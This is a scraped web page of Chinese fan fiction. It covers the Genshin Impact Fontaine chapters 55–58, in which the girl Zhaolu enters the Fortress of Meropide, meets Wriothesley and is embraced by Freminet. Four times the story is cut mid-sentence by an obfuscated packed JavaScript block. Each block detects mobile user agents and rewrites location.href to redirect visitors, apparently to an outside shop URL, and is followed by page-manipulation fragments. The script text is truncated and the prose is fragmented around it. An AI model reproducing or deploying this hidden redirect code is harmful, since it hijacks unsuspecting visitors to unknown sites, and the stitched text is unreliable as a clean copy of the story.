;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16458744|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,怎样都好,林尼确实在一定程度上了解这位女孩。 唔,比如说朝露不会特意亲近猫咪,但路过的时候会先左右看看周围有没有人,接着掏出小鱼干来投喂布法蒂公馆里的猫咪,然后神情认真地伸出手摸摸猫咪两只耳朵之间头顶的那一片毛发? 林尼发誓自己不是故意的,他真的是偶然看到这一幕的。 林尼和琳妮特收养了不止一只猫,每只猫在公馆里都有他们自己的位置。只要小孩子喜欢并且猫咪不应激不讨厌,林尼也不会专门把小孩子和猫咪隔开,啊,如果有猫毛过敏的孩子那还是要隔开的。 不过大多数情况下,和猫咪玩耍可以让初来乍到的孩子卸下防备呢。 林尼原本以为朝露也是这样的孩子,结果发现好像和他猜想的有所出入。哎呀,这可真是连魔术师都感到惊讶啊,看到因为客厅里有小孩子便没有喂猫的朝露站在自己房间面前摸出小鱼干面无表情地三两下吃掉,林尼一边这样想,一边弯了弯他那双与琳妮特同色却又更浅的眼眸。 就像喂猫可以,不喂也可以。既然如此,为什么还要喂猫呢?饶有兴趣的林尼暗中观察了一番,发现朝露连摸猫的时间都基本保持一致,如同上了发条的玩具,随着发条的转动一步一步地往前挪。 不会留下来的女孩啊,林尼一边拿起羽毛笔在的墨水还没干的纸张上点了点,一边想起朝露那双漆黑的眼睛,“喵~”被抱到腿上的罗瑟兰发出懒洋洋的声音。在罗瑟兰的叫声里,林尼脑海里朝露的眼睛似乎与一双紫色的眼睛重合,随后与另一双苍蓝色的眼睛重合。 真是没办法,林尼叹气。谁让朝露现在还是壁炉之家的人呢,谁让他是琳妮特和菲米尼的哥哥呢。浅灰发色的少年弹了弹书桌上的纸张,嘴角挑起一个莫名的弧度,就当这是一个兄长该做的事吧。 灯光下,清瘦的少年脸上点缀的和胞妹位置相反的水滴图案似乎折射出冰冷的光芒。 * 没有发生意外,在欧比克莱歌剧院被告席上放空大脑的你如愿地被判去梅洛彼得堡一周。 其实原本是三天的,但是看到你一副不知悔改的表情——这是那个被你打了的贵族的原话——对方郑重声明你对他造成了严重的伤害,简单来说就是三天不够。而你想着任务是要你接近那位“公爵大人”,三天可能确实不太够,于是从善如流地接受了对方的意见,差点没把那位以为你会道歉求饶的贵族气个半死。 “下去之后遇到麻烦的话可以给我传消息。”站在你身边陪同你的琳妮特微微俯下身子在你耳边说道。 你原本没想让人来陪你的,毕竟在你看来这只是一个任务,你自己可以做好。但琳妮特说菲米尼拜托她了,让她一定要来陪你。 琳妮特说得一本正经,菲米尼大概又去出任务了或者潜到那片海域什么的,你根本无法找到本人求证;再加上不知道为什么,意识到琳妮特对你没了那种古怪的期待之后,你反而很难拒绝对方对你提的要求。 这是对的吗,木着脸同意琳妮特陪你来这一趟的你不由思索,算了,错了也不会有什么结果,你放弃了对这个问题的思考。 55.枫丹篇-24 梅洛彼得堡是建在深海的建筑。即便枫丹不存在死刑,梅洛彼得堡对大部分人来说依然不是一个好去处。 把人关在一个封闭的地方,让他无法见到外面的太阳与天光,梅洛彼得堡是否存在真正的白天黑夜、亦或者所谓的“白天黑夜”只是被人为规定出来的?在这个自有一套规则的——与之前接触到的完全不同的规则的地方——会越是挣扎,越是像落到蜘蛛网上的蝴蝶一般徒劳地等待被蜘蛛分食的命运吗? 如果想要逃跑,那么欢迎,深海那可以把一切拍成纸片、可以把人包裹着骨骼的皮肉随意搓扁捏圆的压强会给每个以为自己逃出生天的家伙一个惊喜。 以上,是你收到这次要进梅洛彼得堡的任务后又去探查到的情报。当说到“惊喜”这个词的时候,你分明看到面前这个做出一副温和假象的同伴嘴角露出恶劣的笑。 ……有时候真的会希望你身边的人能正常一点。你移开视线,没再看这个同样隶属于壁炉之家的擅长调查情报的少年。比起关心他人的命运,大概还是你的任务更值得你上心。 你倒不是很在意所谓逃跑的后果,你进去的时间只是一周,并不算长,远远没到会让你不顾一切也要离开的境地。真正让你在意的是,那是海里。 想到浑身被水流包裹的往下坠的感觉,想到当初口鼻眼睛全都被海水灌入的感觉,想到那时想要呼救、难受的条件反射地呛咳也只是“咕噜咕噜”地咽下好几大口海水的感觉,你垂下眼睛,交叉放在身前的手似不经意地换了个姿势,遮掩住你微微发抖发颤的小指。 有时候,就算想要把自己的感受藏起来,也还是会有一些情感从身体的末梢流出来,每每这时候你都觉得难不成你是一只用料扎实到馅料会从封口处溢出的饺子。 ……那大概不会很好吃,煮出锅就如同一锅加热的饺子皮和馅料的水。 你思维发散着,无声地调整自己的呼吸。 呼——吸——呼——吸—— 随着你的动作,你的心跳渐渐回缓至往日的频率。人会害怕很多东西,你是知道的。怕黑怕累怕渴怕饿,都无所谓。但是,不能逃避,一旦逃避了,那就会变成肉眼可见的“弱点”,终其一生如影随形,贯穿你的生命。 - 很快,你就会被警备队的人护送去梅洛彼得堡了,啊,比起“护送”,也许这里用“押送”会更合适。虽然这两者对你而言倒也没什么区别。 你将会跟着他们去到某个传送装置上,接着从上往下、往下、往下,等装置的门再次打开,你就会抵达你的目的地。 两位穿着蓝色制服戴着蓝色帽子的警备队员已经在向你走来。 按理来说,也许现在什么都不做才是比较符合你的作风的举动,但你不知怎地,连你自己都有点想不明白地,如同被塞了一个找不到线头的毛线团一般地,你忽然转过身,抬起头注视着琳妮特的眼睛,朝她张开了手。 是一个索取拥抱的姿势。 * 这是、什么意思? 琳妮特回望着朝露漆黑的眼睛,她以为自己会在里面看到不安、害怕、期待什么的——不然她很难理解为什么朝露会做出这样的动作,这种类似于从他人身上汲取力量的行为。 该说意外还是不意外呢,朝露的眼睛里依然一片沉静,只看那双眼睛根本看不出这个红发女孩正在向别人张开怀抱。算了,琳妮特闭了闭眼再重新睁开,微微俯下身子把这个现在也没有长得很高的女孩抱了个满怀。 没有必要去思考朝露为什么这么做,她只需要知道朝露现在想要一个拥抱,而琳妮特愿意给。这就够了。 小小的软软的身体此刻就被她抱在怀里,琳妮特的两只手从朝露的身前向后穿过,攀上女孩的后背。隔着薄薄的皮肉,琳妮特能摸到朝露凸起的脊骨。 暖暖的……琳妮特微眯起眼眸,如同在日光下打盹的猫似的,甩了甩细长的尾巴。也许该让朝露多吃点才行,猫耳少女不期然想到。 和她还有林尼因为表演而需要控制饮食不同,朝露可以多吃一点,现在的朝露还是太瘦了,琳妮特这样想。 - 你被抱住了,抱得满满当当的。 身形比你高挑的少女弯下身抱住你,你和她的脸颊几乎贴在一起,两张脸之间只留下细微的间隙。 比你更大的手掌贴在你的后背上,轻轻地把你向她的怀中压去。你能感受到她的动作里包含的力,但是这种力不算大,属于你只要随便一挣就能挣脱的束缚。而你没这么做,只是闭上眼睛偏过头,让自己的脸颊贴上琳妮特缀有星星图案的那一侧脸庞。 ……这就是人体的温度吗。好像和你自己的不太相同。 脚步声越来越近,直到在你的身后停下。 你睁开眼睛,和琳妮特的怀抱分开,像是离开了一个美好的梦境。转过身,警备队员已经来到你的身边。 你又转过头,琳妮特依然在你的身后站着,欧庇克莱歌剧院里的灯光并不吝啬地把它下面的区域照得亮堂,身穿黑蓝色小裙子的琳妮特却似乎随时都要藏进黑暗里一样。 但她的眼睛仍看着你。仿佛每次你看向她的时候,都能直直地迎上她的目光。早在之前你便已经知道了琳妮特的眼睛是紫色的,但你还是第一次这么认真地看清了她的眼睛。 藤萝紫的眼睛里有着深色的椭圆瞳孔,眼底会有稍浅的紫色。 你很少会看到琳妮特身后那个大大的薄荷蓝菱纹格蝴蝶结的全貌,因为琳妮特很少背对着你,或者说是从未。 真是奇怪,之前琳妮特对你抱有期待的时候你只想着冷处理,现在反而会有一种‘是不是要感谢人家一直以来的好意?’这样的念头。不过也许不能算是奇怪?之前的情感像是沉郁到无法流动的粘稠的风,现在则像是轻盈的风。 你喜欢微风拂过的感觉。 谢谢,还有再见。你无声地朝琳妮特做出口型,没有去看对方是否有对你的话语做出什么反应,你迈开腿跟着警备队员离开。 因此,你也就没有看见琳妮特先是愣了一下,随后露出的如同春风拂过早樱的笑容。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471409|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>失策,一开始没有考虑到这个问题。你抿着唇站在梅洛彼得堡的入口,看着被工作人员收走的写字板停住了脚步。 此刻,你已经来到了梅洛彼得堡,这座水下的钢铁堡垒,地板、墙壁和天花板都泛着金属色泽的地方。然后,你便因为身上这个金属制的写字板而没有通过是否携带危险物品的检测。 据工作人员所说,你的写字板将会被扣留在这里,等你刑满释放的时候你可以再来把它拿回去。毕竟,你的写字板是含金属的,谁也不能保证你不会在里面拿写字板敲破别人的脑壳。 听到工作人员一本正经地说出了很离谱的东西的你:…… 彳亍,是你没有考虑到进梅洛彼得堡可能会被收走东西的问题。但这是菲米尼做出来的之后又经过改造的、现在已经可以上下左右四个方位拉开和收缩的写字板,而且带在身上沉甸甸的会有一种莫名的安心感。 这是你获得的第一件送给你的礼物。 尽管你有些微的不舍,你还是决定按照工作人员所说的,先去报到,等你一周之后要离开的时候再来领回你的写字板。 既然这是这里的规则,你无意随便打破它。当然,如果说收走了就不还了那就是另一回事了。 至于没了写字板要怎么和其他人交流沟通……这个反而是最不需要在意的问题,搞得你之前没有写字板就没有跟别人交流似的。眼神、表情、肢体、动作什么的,只要想表达,总会有办法的。 你垂下眼眸,送你下来的警备队员已经离开,工作人员给你做完登记后便示意你往前走,在这里你会被分配工作,通过工作可以获得特许券——据说这是梅洛彼得堡的流通货币,摩拉在这里是用不了的。有了特许券,你可以住更好的房间、吃更好的餐点。当然,即便你不工作,也会有免费的饭能吃。 大概看你只是个孩子,进来的原因又不是什么很严重的原则性问题,是啦,随便打人是很不好,可维护自己的伙伴也同样是一种很好的品质。工作人员给你分配的是组装小零件的工作,略有繁琐,但不需要多大的力气。 你准备先去你分配到的住处,接着再开始工作。据说像你这样的,估计是和其他刑期比较短的人住在一起。 如果可以的话……之后还是给自己换个单间吧。一想到自己睡觉的地方还有别人,你就有一种微妙的领地被入侵了的感觉。面前的工作人员再三询问你真的可以自己找到住处吗?如果找不到随时可以回来问他、他想亲自带你去的,但刚好又有新的任务传到他的手上。说着,絮絮叨叨的工作人员面露无奈。 你只无声地点点头,清凌凌的眼睛扫过这位工作人员,又飞快地敛下眸光。 “嗯,如果需要帮忙,我倒是可以带你去你的住所。”一个声音忽然响起,你和工作人员顺着声音看过去,一个有着灰黑色头发和冰蓝眼眸的、身材肉眼可见的健壮的成年男性进入了你们的视野。 还没等你思考对方是谁又为什么出现在这里,“公、公爵大人!您怎么来了?”工作人员迅速站了起来,喊出了他的身份。 56.枫丹篇-25 “别担心,你的东西会在你离开的时候还给你的。当然,你也可以在这里用特许券来换自己能提前拿到它。”说着,面前的男人笑了笑,目光扫过你那块写字板又回到你的脸上。 面前的人很壮实,很高,站在你跟前灯光照过他而投下的影子能把你完全遮住。他有一张硬朗的脸庞,右胸前有粗犷的灰狼驳头链配饰,左手套上同样有灰狼头的标志,明明他说这话时脸上还带着笑意,那双冰蓝的眼却给你一种自己被狼盯住的感觉。 如同一头微微伏下身子的灰狼,这样的姿态不是意味着臣服,而是等待着破绽的时机来临,便如闪电一跃而上,用尖爪和利齿死死地咬住自己的猎物。 你抬起头,因为面前男人过于出众的身高还后退了几步,这才直直地与他对视。你是知道的,当野兽来临,尖叫和恐慌都太过苍白,不能让你跑得快一点,也不能让野兽退去。保持冷静不一定能逃生,但连冷静都丢掉就一定不能。 无论这位“公爵大人”清不清楚你目前隶属于壁炉之家的事情,来到这里是不是要给你一个下马威——不如说,清楚又如何?是又如何?没有永远的朋友,没有永远的敌人,只有永远的利益。 阿蕾奇诺女士对你的交代是[接近],并没有更明确的指示。一种比较合理的猜想是,你的出现就已经意味着什么,就已经释放了某种信号,没有必要再特意做额外的事情。恰如一趟列车即将进站,于是枕木放到了铁轨上。 或许,你就是这样一条“枕木”。 于是,你朝着他点点头,示意对方可以带你去你被分配到的住处。 - 莱欧斯利叹气,他是有在自己的办公室里许愿过想要更多的劳动力没错,当他没说自己是想让其他人是犯错才来到这里啊。 这个男人垂下眼眸,长长的眼睫在他的眼下投射出一片阴影,他看到红发女孩的头顶,中央是小小的发旋。即便是莱欧斯利也不由感叹,他跟前的这个女孩确实有着很漂亮的红发,特别是在这里,可以说是主色调是金属色的梅洛彼得堡里的一抹亮色。 是因为维护自己的伙伴而进来的啊……莱欧斯利在心里做出点评,是有点冲动,但并不让人讨厌。即便他对朝露和愚人众有关这一点心知肚明:大人之间的事情,没有必要威胁小孩子,当然,如果特殊情况那就另说了。 很多人都会避开他的眼神,莱欧斯利想,选择避开他的眼神的人有很多理由,选择和他对视的人也有各种各样的原因。而这个孩子给出的原因,已经透过那双睁得大大的眼睛告诉他了。 ——如果问莱欧斯利是否会为了杀死那对夫妇而后悔,如果问莱欧斯利是否为了杀死他们之后自己完整陈述前因后果和补充细节以至于让自己进了梅洛彼得堡而后悔,那么他的答案是不会。 就算重来一千次、一万次,他还是会那么做的。想起对他的那场审判,莱欧斯利还记得那些为他求情的观众,尽管大部分人的脸已经随着时光的流逝而模糊,尽管最终的判决不会因此受到影响,莱欧斯利不由扬了杨嘴角,他没有愧对自己的心。 他们都是出于自己的本心,都是明知这么做会有什么后果却还是做了。 嗯~从这一点来看,这个叫朝露的小姑娘还是和他很有共通之处的嘛。不过现在,还是好好长大吧。哪怕知道朝露愚人众的身份,莱欧斯利仍这么想。 说起来,也许小姑娘会喜欢她的住处?想到安排给朝露的住处里已经入住的另一个人,莱欧斯利露出了饶有兴味的表情。 * 你很少关注别人的目光,也不在意别人对你的看法。只是他们的视线太明显了,想要装作没有察觉都很难。 希望不会给你的梅洛彼得堡之旅添麻烦。嗯,这么说的意思是,如果真的有麻烦找上你,你会毫不留情地反击的。 你是知道的,人的情感会从他们的眼睛里流出来。笑起来时弯弯的眉眼,难过时垂下的眼睫,愤怒时瞪大的眼睛,你能够从里面看出很多东西,看出他们的心情、看出他们的想法。要防患于未然吗?可你同样知道,“想”和“做”是两件事。 一个停留在思想层面,一个却已经付诸实践。你还记得曾在街上看到过的一个成年女性,愁苦的面容,破旧的衣裙,还有这一双死气沉沉的浑浊的眼。当时的你丝毫不怀疑她也许会在下一瞬间就拖着自己枯槁的身躯死去,她身上有着很明显的死意,她没有那种强烈的想要活下去的欲望。 但她还是一天又一天的出现在街角,摊子上挂着海里捞来的手掌大小的鱼。你没有想要探究别人生活的念头,这对你来说也只是一次失误的猜测,而失误是最不罕见的东西。按理来说你应该复盘自己失误的原因并从中总结经验,可这涉及到了“边界”的问题,哪怕对方不一定会意识到,这仍属于她的隐私。 在你的人身安全不因此受到危险时,你不会随便干涉别人,并愿意保有基本的尊重。你曾在书上读到过一个理论,人与人之间应保有边界,这会让很多麻烦的事情变得简单。 你最终还是知道了那位成年女性没有随着她的念头死去的原因。一次路过,或许是你走路也没什么动静,你没有惊跑依偎在她裙摆上的黑猫。那是一只小小的猫,身子不算大,毛发上能够看出被人精细打理过的痕迹。天光下,她取下小鱼任由黑猫啃咬,注视黑猫的眼神温柔至极,岁月的痕迹在她的眼角开出了花。 那只黑猫就是她活到现在的理由。 于是,你明白人是一种很复杂的生物。情感可以爱恨交织,上一秒下定的决心下一秒又能推翻,或者从未了解过却依然能相信对方。也许很多次想过死亡,但最后她还是活了下来。“明天不会更好,但你还是会来。”你听到她对黑猫喃喃的话语。 在越过“想”的界限之前,你不会动手。就算脑子分析出的结论是让你赶紧动手、让你“防微杜渐”,你仍愿意相信另一种可能——或者说,不是你相信对方的人性,你只是因为即便事情如预期发展,后果你也能承受,所以才这样而已。 想到那个工作人员,你提了提唇角,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16493869|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有停下跟着“公爵”的步伐。 - 不知过了多久,身前的人停下了脚步。 “朝露,你来了。”你还没来得及去观察自己接下来的居住环境,率先听到了这样一句话。 是熟悉的声音,你想。 一方面回想往事、一方面注意路线、一方面简单地思考倘若有其他人发生冲突应如何解决的脑子慢了半拍才反应过来映入眼帘的人是谁。 淡金的发丝垂到脖颈边,笑盈盈的苍蓝色眼睛望着你的方向。 是菲米尼。 菲米尼怎么会出现在这里?虽然你自己不在意,你还是知道梅洛彼得堡对枫丹人而言意味着什么的。 罪人的流放地,罪犯的栖身处,不详之地。 见到菲米尼,你下意识地微微皱起眉头,手不自觉地往自己的后腰上摸,摸了个空才想起来你的写字板刚刚就已经被收走了。 * 朝露的想法还是太好懂了,看着几天不见的红发女孩,菲米尼在心里叹气。 就差在脸上写[你怎么会出现在这里?这里不是你该来的地方,很危险的。我很担心你。]了。淡金发少年弯了弯唇角,幅度很小,没让面前关心则乱的人察觉。 给了女孩一个淡定的眼神,菲米尼开口感谢莱欧斯利把朝露带到她的住处。 这不是他第一次与这位公爵交锋了。同样不会是愚人众与梅洛彼得堡的最后一次交锋。 往日总是腼腆地藏在哥哥姐姐身后的少年也会展露他的锋芒。 - 上次见到菲米尼,还是他和那对魔术师兄妹一起进来的时候。 那还是枫丹人会溶解于原始胎海之水的时候吧,这么一想,时间的流速还真是飞快啊。感叹着时光易逝的莱欧斯利看着面前的这一幕,自然清楚面前这小子道谢下的潜台词:人也送到了,在让他赶紧走呢。 莱欧斯利挑了挑眉,回忆起当初冲到他办公室里喊“莱欧斯利,出来!”的林尼,倒也对出现这一幕不意外。 说不定壁炉之家的人或多或少都有相似之处,比如说护短什么的。与其说那个看到菲米尼之后就没从对方身上移开视线的女孩,不如说好像在认真跟他对话的少年余光一直在同样看着她。 早在朝露到来之前便已经和菲米尼商定了某些事情的莱欧斯利决定把这里还给它接下来的两个住客。至于他自己嘛……就不要辜负办公室里的茶叶了。 临走前,灰黑色头发的男人回过头,似是不经意地提醒着房间里的两个人:“不要违法。” 听到他在说什么,两个还没他高的孩子露出了十分精彩的表情,其中一个虽然还是和琳妮特一样板着脸,无语的意味却从那双黑色的眼睛里溢了出来。 梅洛彼得堡的掌权者、最高市民荣誉称号“公爵”的获得者、典狱长,莱欧斯利微妙的恶趣味从他们的反馈中得到了满足。 嘛嘛,接下来就是真的把这里还给他们了。左腰处别着一副手铐的男人在离开时贴心地带上了门。 57.枫丹篇-26 菲米尼,也在这里吗。 莱欧斯利离开后,这里的氛围重回寂静。你幽幽地盯着沉默的淡金发少年,他额前垂下的发丝遮住了他的左眼,让你看不分明他的眼睛。 按照常理来说,你见到菲米尼的第一反应不应该是他为什么会出现在这里、这里很危险的。他只是救过你一次而已,你也只是现在会停留在壁炉之家,迟早会离开。你们不会是永远的伙伴。 所以,为什么?你来到这里是为了完成任务,如果你的反应是他和你的任务有关,是他来协助你完成任务、或是监督、或是来抢先你一步的,怎样都好,你还不至于这么迷茫。 你不明白。菲米尼不说话,你的写字板也不在,你只定定地看着他,耳边听到自己心脏砰砰跳的声音,几乎要怀疑是不是自己的心脏出了问题,不然声音怎么会这么大,像是要把你的耳朵震聋一样。 或许你的潜意识已经意识到了什么,却不愿意相信,确切来说是不敢相信——怎么会有人是为你而来的呢。 不会有这样的人的,你似乎听到自己小时候的声音轻而坚定地对你说,真正的你无趣至极,这么做的人注定得不到他想要的东西。不会有人犯傻的,如果有,你希望他能自己变聪明一点,起码懂得什么叫及时止损。 忽然,你视野中的菲米尼张开了唇。他会说什么?你下意识地想,露出了在别人看来可能有点呆的表情。 但菲米尼什么都没说,他走到你的身前伏下身子,比你宽大的手掌从你的肩颈与腰侧穿过,从前面虚虚地拢住你的手,给了你一个斜斜的拥抱。你能感受到一具别人的身躯与你贴合,能感受到他似乎想要将下巴抵在你的肩上,但你还没有长大,肩膀依然圆润的小小的,没有足够的位置给他安放。 俗语有言,力的作用是相互的。大概也可以换成当你凝视深渊的时候,深渊也在凝视着你。 简单来说就是,现在,菲米尼的肩膀同样停留在了你的面前,只需要你稍稍前倾,你就能把自己的脑袋放到他的肩膀上,放到他那白色带金边的小小披肩上。 这是一个不在你预期内的拥抱,你觉得自己与菲米尼接触的地方似乎传来灼热的温度,几欲把你烫伤。 自你有记忆起,你不曾得到过温情的怀抱。书里所描绘的“母亲温暖的怀抱、温柔的抚摸”是什么感觉,你也不知道。 关于这方面的相关内容,你只有前不久的那个经由你提出的、琳妮特来实施的拥抱,你只有那一点点微不足道的经验。虽然你现在也不明白自己当时为什么会那样做,但至少你对它的发生已经有了心理预期。 而现在发生的,超脱了你的认知。 恍惚之间,你仿佛变成了一只浑身都是刺的刺猬,正被菲米尼翻出柔软的肚皮一顿猛吸。 被包住的手指尖微微蜷缩,又被菲米尼的手指轻轻压下,贴合。你不会知道现在的你露出了怎样一副可怜而又可爱的表情,你只是像是短路的机器人一般,一卡一卡地,探出自己的脑袋,把它抵到了那片并不柔软的披肩上。 有的鸟儿生来便是无足鸟,自诞生起它们就只能一直飞下去,一旦停止飞翔,没有双脚无法借助脚蹬地的反作用力,它们就再也回不到天空了。一直扇动翅膀会有多累?强迫自己保持清醒会有多累?对这只无足鸟来说,这就是它的生活。 它什么都不知道,它只知道自己要一直飞下去,它不知道这样的日子要持续到哪一天——什么时候才会结束呢,它不知道。 直到有一天,这只小鸟在飞行的过程中被狂风刮到了海面上,它稚嫩的翅膀无法抵御狂风和暴雨。小小的鸟儿以为自己要变成大鱼的食物了,可它落到了冰面上,它没有就此死去,相反,它迎来了新生。 - 一颗心脏会有多重?差不多是三个发条鸽子的重量。 跟人自身的体重相比,心脏的重量很小很小,但只是从人体中取出了这小小的重量,再高大的人也会顷刻间分崩离析。 淡金发少年屈身抱住女孩,弯折着膝盖并不是什么舒服的姿势,他那张点缀着雀斑的脸却在女孩看不到的地方浮现出了无声的笑。 哈。 随着肩膀上传来不算沉重的重量,菲米尼弯了弯眼睛,脸上的笑容流露出终于吃到想要了很久的糖果的那种满足、叫嚣着“不够!不够!!”的渴望拥有更多的贪婪,又掺杂着少年独有的纯真。 他知道,朝露的行为意味着什么。 她自主地把她自己交了出来。从此以后,菲米尼在朝露的世界里不会再是一个过路的人,他会在她的世界里拥有一席之地。 他们会成为真正的“家人”。不是壁炉之家为了生存而联结的,而是由菲米尼和朝露共同组成的“家人”。 不过现在,还是再给朝露一点时间吧。朝露一直都很聪明的,即便不说出口,她也能从他的动作中读出他想表达的意思。到那时候,朝露会自己牵上他的手的。想到这里,菲米尼心情很好地嘴角上扬,终于松开怀抱,退开了一点。 “父亲大人交代的任务我已经完成了,现在这段时间你可以当作是度假。”菲米尼轻轻地开口。这番话听起来可能有点荒唐:度假——在梅洛彼得堡?换了随便一个枫丹人听了这话估计都会露出看疯子的眼神。 但菲米尼知道,朝露能够接受。世人眼中的“正确”,不是朝露眼中的“正确”。因为别人这样认为,于是觉得朝露也会这样认为未免太过愚蠢。 早在和朝露四处逛的时候,菲米尼就已经不自觉地把大半的注意力都分在这个女孩身上了。他自然是有发现朝露的情况的。会喜欢好吃的,可是给什么就吃什么;对摩拉没有过多的追求,保持着“够用就行”的态度;不会轻易地被恐吓到失去理智,甚至不怕死。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16512156|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上去简直如同一只把自己团成一团的刺猬,根根尖刺竖起,让人无从下手。就是这样的朝露,也会有自己的偏好,或者说是“弱点”的。 会喜欢吹着不算大的凉凉的风;虽然一个人在房间里待着也可以,同样会喜欢行走在人不多的小巷与街道;会喜欢跑去野外,一个人攀上高处的入目皆辽阔的感觉;会渴求“归宿”的同时又不认为自己能找到归宿。 有时菲米尼都会怕会不会有一天朝露就一声不吭地离开了,就像她最初出现的时候也没有打过招呼。 在心中隐隐希望能找到归宿、却自己为自己写下绝笔的断言她的归宿就是所谓“自由”的朝露。害怕受伤,于是连手也不伸出去的朝露。 没关系、没关系。那就让他来成为这个“归宿”吧。让他这个会受伤的、会变老的、会死掉的血肉之躯来承担——如果她想要归宿,他可以是;如果她想要自由,他也不会束缚她,正如天空不会束缚游鱼,大海不会束缚飞鸟。 * 被菲米尼放开后,你眨了眨眼,刚才像是停摆了的脑子飞快地从菲米尼的话语中提炼出关键:菲米尼已经接近了那位“公爵”,并完成了壁炉之家与梅洛彼得堡之间的某种交换。 鉴于你在进来之前都没有收到新的信息,那么换言之,你如今相当于多了一段假期。在不祥之地度假?听上去还挺不错的。 可菲米尼他自己的任务呢,你不认为阿蕾奇诺女士会放任劳动力闲置,或者说,是现在这种强行待在某个地方的不能随时被调动的“闲置”。 你在菲米尼的眼下发现了些许青黑。 看来不是阿蕾奇诺女士的意思,是菲米尼自作主张。 其实你自己也可以的……现在这样想好像有点过分,当你来到这里看到菲米尼的时候,当你被菲米尼抱住、对方还特意包住你的手的时候,你就已经明白菲米尼会来到这里。 手背上似还残留着先前的热意,你有些困惑地想:难道你的伪装很差吗?不然菲米尼怎么会发现你在害怕。 你知道菲米尼是怕你会害怕,怕你害怕在水下的梅洛彼得堡,怕你害怕可能连一缕风都吹不起来的梅洛彼得堡。可你明明藏得很好。 你没有告诉别人自己从那一天起就有点害怕靠近海的事情,你甚至会在和菲米尼一起闲逛到海岸线、菲米尼想要潜水的时候都任由他去,只是自己随便找了个借口——比如在某个地方看到了自己感兴趣的东西,又或是直接说今天不想下水什么的——留在岸边。 某种程度上,你并没有撒谎。“感兴趣的东西”你确实可以感兴趣。“今天不想下水”确切来说是每一天都不想下水,从后者完全可以推出前者,后者是真话,由后者得出的前者同样是真话。你最多只是隐瞒,连欺骗都算不上。 不过是交流的艺术。就算你是个哑巴,你在这种事情上好像还蛮有天赋的。 58.枫丹篇-27 你开始了你在梅洛彼得堡的生活。 每天起床、工作,到了中午就去领取福利餐,下午继续工作,晚上就睡觉。客观来说,是周而复始的、让人能放空大脑的螺丝钉生活。 值得一提的是,你第一天来到梅洛彼得堡领取福利餐的时候没有发挥所谓的好运气,福利餐里开出来的是蔬菜大杂烩就算了,还是加入了致死量调料以至于完全盖过蔬菜本味的塔塞斯杂烩。 打开盖子的那一刻,诡异的红色番茄和奇怪的紫色洋葱皮以及其他蔬菜的不明混合物呈现在你面前,你能清晰的看到这道料理上面调味的粉末还没完全融化。 虽然什么都能吃,但认为肉更具有饱腹感的、有预感这可能会不太好吃的你:…… 在此,你郑重声明一点:什么都能吃不代表分不出什么是好吃的,有什么是难吃的。 你张开嘴吃了一口,眼神微不可见地凝滞了一瞬,随后飞快地咀嚼、吞咽,哪怕食物已经滑进你的食道仍有一种被什么东西糊住嗓子的感觉。 没事,可以吃。只是吃完之后你大概要自我消化一会儿而已。这样的塔塞斯杂烩,说真的,让你生啃番茄和洋葱都比它来得好。 在你和自己开出来的塔塞斯杂烩作斗争时,工作结束的菲米尼也来到了这里。 菲米尼的福利餐会开出什么?嘴巴里难吃的味道依然没有散去,不过你已经差不多快要习惯了,可以抽得出心思去好奇菲米尼的福利餐。 已知分发福利餐的是一个名叫“布兰”的灵活采集型机关,菲米尼会维修机关,在壁炉之家里会负责机关维修相关的工作。那么菲米尼会不会因为自己的这份技能从布兰手中分到一份好吃的福利餐? 虽然前者和后者没什么强相关的联系,但万一呢,冥冥之中机关造物予以善待他们的人一份回礼什么的,菲米尼的那堆绘本上也不是没有这种故事。 你看到其他人的桌子上有香喷喷的枫丹洋葱汤。 你略有几分期待地看着坐到你身边的菲米尼将要打开他的福利餐。 盖子稍稍掀开,比起眼睛捕捉到银色盒子里的餐食是什么色彩,你的鼻子率先嗅到了奇异的味道。你毫不迟疑地移开了目光。 ……还是拿着特许券去买吃的吧。 - 慢慢来吧,菲米尼想,很多事情不能急于一时。如同生物的演化,历经漫长的岁月,种子才得以长成大树。 